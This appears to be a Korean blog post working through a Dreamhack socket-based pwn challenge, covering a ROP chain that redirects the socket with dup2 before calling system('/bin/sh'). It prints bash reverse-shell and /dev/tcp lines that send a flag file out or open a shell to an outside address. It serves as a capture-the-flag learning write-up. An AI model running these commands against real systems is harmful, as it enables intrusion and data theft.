이번에 소켓 활용하는 워게임을 처음 풀어봤다.
문제는 바로 요거
https://dreamhack.io/wargame/challenges/1829
Chat with Me
DescriptionChat with me 🙂💬
dreamhack.io
굉장히 삽질을 많이 했는데 난 처음에 gdb로 분석이 안되는줄알고 그냥 때려맞추면서 세그폴트같은 오류 메시지만 보고
아 어디가 잘못됐겠구나 이렇게 생각하면서 고쳐가면서 풀었다. 근데 알고보니 gdb로도 분석 가능하더라.. 소켓이란게 너무 낯설었다.
우선 stage1에서 ROP를 통해 GOT overwrite 밑 system("/bin/sh")을 실행 했는데 바이너리를 실행한 쪽(서버)에서는 쉘이
따졌는데 클라이언트 쪽에서는 확인할 길이 없었다. 그래서 문제 질문에서 힌트를 얻어 리버스 쉘이라는 것을 사용해야 겠구나 생각했다.
dup2
첫번째 방법은 라이브러리 함수인 dup2를 이용하여 fd를 복사해서 사용하는데, 원형은 다음과 같다.
#include <unistd.h>
int dup2(int fd, int destFd);
소켓 통신에서 dup2를 사용할 때는 첫번째 인자인 fd에 sockfd, 두번째 인자인 destFd에 stdin, stdout 을 넣어주면 된다.
사용 예시는 다음과 같다.
pl2 += p64(poprsirdi)
pl2 += p64(0) + p64(4) #stdin
pl2 += p64(dup2)
pl2 += p64(poprsirdi)
pl2 += p64(1) + p64(4) #stdout
pl2 += p64(dup2)
pl2 += p64(ret)
pl2 += p64(poprdi)
pl2 += p64(binsh)
pl2 += p64(system)
bash 이용
bash -c "cat flag > /dev/tcp/1.1.1.1/2222"\0
또는
bash -i>& /dev/tcp/[Client IP address]/[PORT] 0>&1
이걸 system에 인자로 줘서 사용하는 것도 가능하다.
리버스쉘에 관한 정리가 구글링에선 많이 찾을 수 없어서 아쉬웠다. 아무래도 해외 사이트들도 보는 능력을 좀 키워야지 싶다.
이번 문제는 처음 푸는 유형이기도 해서 많이 돌고 돌았는데, 풀고 다른분들의 풀이를 보니 나도 생각했었지만 아 이건 안될 것 같은데
싶었는데 되는 풀이도 있었고 굉장히 다채로운 풀이가 많아서 보고 배운게 많았다.
'PWN > 개념' 카테고리의 다른 글
| FSOP - template/_flags (0) | 2025.08.27 |
|---|---|
| Format String Bug - AAW시 스택 값 사용 (1) | 2025.08.22 |
| Pwntools를 이용한 ROP 페이로드 작성 방법 (2) | 2025.07.30 |
| Format String Bug(FSB) 취약점 (1) | 2025.07.27 |
| Double Free Bug(DFB) 취약점 (2) | 2025.07.26 |